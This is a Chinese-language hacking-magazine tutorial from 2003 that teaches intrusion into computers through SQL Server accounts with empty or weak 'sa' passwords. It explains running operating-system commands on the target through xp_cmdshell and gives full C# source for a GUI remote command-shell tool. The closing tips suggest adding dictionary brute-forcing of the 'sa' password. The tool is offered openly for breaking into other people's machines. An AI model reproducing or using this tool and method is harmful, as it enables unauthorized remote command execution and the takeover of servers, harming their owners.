使用VC#輕鬆製作SQL CmdShell
( 作者:mikespook | 發布日期:2003-10-7 | 瀏覽次數:354 )
關鍵字:C#,資料庫,擴充預存程序,漏洞 |
本文已投稿《駭客安全基地》。文章為《駭客安全基地》所有,未經《駭客安全基地》同意不得轉載。謝謝合作! 你想入侵嗎?想拿到系統的管理員權限嗎?想隨意的遠程操作他人電腦於股掌之間呢?你會怎麼做?用掃描器暴力破解Administrator密碼?還是遠程溢出呢?如果這些針對作業系統級入侵的的技術你覺得都不合你的胃口,你為什麼不換個角度試試呢?門進不去,有窗戶麼!有時我們並不一定非要盯著作業系統的密碼不放,因為也許系統提供的其他服務的密碼會更容易得到。 當你運行各種掃描器掃描的時候,有沒有見過提供SQL Server服務的系統呢?有沒有遇到掃描器報告SQL Server的sa使用者口令為空白或為弱口令的情況呢?如果你的答案是肯定的,那麼你是否利用過這個漏洞來達成你入侵一台主機的目的呢?來吧,下面我們就看看擁有一台SQL Server的sa使用者權限我們能做點什麼。 當我們擁有SQL Server的sa許可權時,我們就可以執行擴充預存程序xp_cmdshell。利用查詢分析器以sa使用者登陸,通過xp_cmdshell來執行任何可能的語句來完成我們所預期的功能。 比如,我們拿到了一台名叫“m-s”電腦的SQL Server的sa口令“123456”。那麼我們啟動SQL查詢分析器(這個工具是在SQL Server的用戶端附帶的),填寫電腦名稱、使用者名稱、密碼,並按確定登陸該SQL Server。1: 圖1 現在我們先來查看一下這台電腦C盤根目錄下的內容。可以在查詢分析器中輸入“xp_cmdshell "dir c:/"”。就會有2所示的結果: 圖2 大家看到了吧?這條語句執行的結果就是這台電腦C盤根目錄下的內容。你也許會說了,要C盤根目錄下的內容能幹什嗎?那麼我們換個命令來執行: TFTP、NET、AT……這些命令不是你夢寐以求能在你想要入侵的電腦上執行的命令嗎?而這一切我們沒有為得到作業系統的Administrator密碼苦苦的掃描。因為利用SQL Server入侵根本不需要作業系統的管理員權限。 但是,使用SQL查詢分析器來操作很不方便。而且要安裝SQL查詢分析器必須安裝SQL Server Client。不說別的,就安裝這個的步驟與注意事項,就夠我再跟小編騙好多稿費的。那麼既然我們已經知道了其中的原理,為什麼不自己編寫一個工具呢? 下面,我們就利用.net中System.Data.SqlClient名字空間下專門用於串連SQL Server的類用VC#來編寫一個SQL-CmdShell。 到用VC#製作SQL-CmdShell是不是有點頭暈呢?又要串連SQL資料庫,又要執行擴充預存程序。不用擔心!由於.net類庫中的功能實在是太強了,所以我們所需要手工編寫的代碼總共不到40行。下面,我就說一說具體的編寫方法。 當然按照我的習慣,還是首先製作我們所需要的介面(圖3): 圖3 在VC#中建立一個Windows應用程式的工程,起名叫SQLCMD。在下面的說明中括弧裡的內容是需要修改的控制項屬性設定,對於沒有說明的屬性保留預設值。 在表單(Name:frmMain Text:SQL-CMDShell)上添加一個編組框(Name:groupBox1 Text:SQL伺服器)。在編組框groupBox1中添加三個標籤(Name:label1 Text:SQL伺服器,Name:label2 Text:使用者名稱,Name:label3 Text:密碼)和三個文字框(Name:txtServer,Name:txtID Text:sa,Name:txtPassword PasswordChar:*)。同時,還要添加一個複選框(Name:cbNULLPassword Text:空密碼)到編組框中去。在表單frmMain上再添加一個列表框(Name:lbResult HorizontalScrollbar:True TabStop:False)、一個標籤(Name:label4 Text:命令)、一個組合框(Name:cbCMD)和一個按鈕(Name:btnCMD Text:執行)。最後再添加一個狀態列(Name:statusBar1),並且在裝態欄上添加兩個面板(Name:sbp Text:狀態 Width:40,Name:sbpMsg)。同時為了美觀,大家可以自行調整控制項的Anchor屬性。 還要添加兩個非可視化的資料控制項。這兩個控制項在控制項面板的“資料”項中。分別為SqlConnection(Name:sqlConn)和SqlCommand(Name:sqlComm Connection:sqlConn) 好了,介面有了,剩下的就是編碼了。 在複選框cbNULLPassword的CheckedChanged事件中添加如下代碼: private void cbNULLPassword_CheckedChanged(object sender, System.EventArgs e) { txtPassword.Enabled = !cbNULLPassword.Checked; } 這樣,當選中為空白密碼的時候密碼框不可用。也許有的讀者會提出疑問:這樣做是不是有點多此一舉呢?當sa為空白密碼的時候,我們空著密碼框不填不就可以了?這當然是可以的,但是並不夠完美。我稍後會解釋我為什麼要添加這麼一個複選框。 在組合框cbCMD的KeyPress事件中添加如下代碼: private void cbCMD_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e) { if(′/n′ == e.KeyChar) btnCmd_Click(sender, e); } 當組合框擷取焦點再按下斷行符號時,就相當於點擊了按鈕btnCmd。 好了,下面就該寫最核心的部分了。為了說明方便,我在代碼前面添加了行號。 10 private void btnCmd_Click(object sender, System.EventArgs e) 20 { 30 try 40 { 50 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 正在執行..."; 60 this.Cursor = Cursors.WaitCursor; 70 string pw = null; 80 if(!cbNULLPassword.Checked) 90 pw = "password=" + txtPassword.Text + ";"; 100 sqlConn.ConnectionString = "initial catalog=master;" + pw + "persist security info=" + (!cbNULLPassword.Checked).ToString() + ";user id=" + txtID.Text + ";workstation id=" + txtServer.Text + ";packet size=4096"; 110 sqlComm.CommandText = "xp_cmdshell ′cmd /c " + cbCMD.Text + "′"; 120 sqlComm.Connection.Open(); 130 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】"); 140 SqlDataReader reader = sqlComm.ExecuteReader(); 150 while(reader.Read()) 160 { 170 if(!reader.IsDBNull(0)) 180 lbResult.Items.Add(reader.GetString(0)); 190 } 200 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 執行成功!"; 210 sqlComm.Connection.Close(); 220 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】"); 230 lbResult.Items.Add(""); 240 if(!cbCMD.Items.Contains(cbCMD.Text)) 250 cbCMD.Items.Insert(0, cbCMD.Text); 260 cbCMD.Text = null; 270 lbResult.SelectedIndex = lbResult.Items.Count - 1; 280 this.Cursor = Cursors.Default; 290 } 300 catch(Exception ex) 310 { 320 this.Cursor = Cursors.Default; 330 sbpMsg.Text = ex.Message; 340 } 350 } 下面我解釋一下上面的代碼。 50行是在狀態列中提示當前的命令正在運行。當整個程式在執行過程中拋出異常,會在300行捕捉異常。並在330行將捕捉到的異常的原因提示在狀態列中。 由於有的命令可能會執行比較長的時間,60行會把滑鼠變成正在等待的樣式。並且在命令正常執行完後,在280行恢複正常滑鼠。如果在執行過程中出現異常,程式不能執行到280行的話,會在異常處理的部分恢複滑鼠。也就是320行恢複。 80行是判斷sa是使用空密碼登陸,還是非空密碼。這裡這樣寫是因為SqlConnection的ConectionString中有一個項 “persist security info”。當其為“True”時,說明登陸要求輸入密碼。當然這個密碼也可以為空白字串。當其為“False”時,登陸不進行密碼驗證。這樣會加快串連SQL伺服器的速度。 110行就是那個擴充預存程序的命令。這裡我要特別說明一下的是我使用了“xp_cmdshell ‘cmd /c [command]’”這樣的形式來執行命令。你直接用“xp_cmdshell ‘[command]’”也是可以的,不過沒有加“cmd /c”執行出來的結果美觀而已。 第130、220、230行我純粹是為了結果美觀加的分隔字元號。 140行聲明了一個SqlDataReader的執行個體。用以儲存命令執行後的結果。從150到190行程式就是利用SqlDataReader讀取命令執行的結果,並儲存到列表框中。需要說明的是170行。這裡必須判斷讀出來的記錄是不是為空白值,如果不為空白值才可以向列表框中添加。否則會因為對空值調用GetString方法而產生異常。 240行會判斷組合框的清單項目中是否已經有當前命令。如果沒有會執行250行,將當前命令添加到組合框列表中去。並在260清空組合框顯示文本。 270行是為了上卷列表框,顯示最新的命令執行結果。 至此,一個簡單的SQL-CMDShell就製作完成了。怎麼樣效果還不錯吧?(圖4) 圖4 還是我的老習慣,對我沒有完成的功能給大家一點提示。 1. 當你在運行這個程式的時候,執行命令會比較慢。這是因為每次執行一個命令就需要從新串連資料庫,執行擴充預存程序,然後斷開與資料庫的串連。你可以想辦法在執行命令前一次串連,以後只要執行預存程序就可以了。 2. 由於命令執行比較慢,實際上在執行150行的while語句的時候,程式是處於無響應狀態。為了避免這種情況,可以使用多線程。(多線程的使用請參考我前面寫的關於VC#製作多線程掃描器的文章) 3. 大家還是可以參考我前面寫的關於VC#製作多線程掃描器的文章。添加利用字典來暴力掃描sa口令的功能。將這個SQL-CMDShell做成真正好用的工具。 |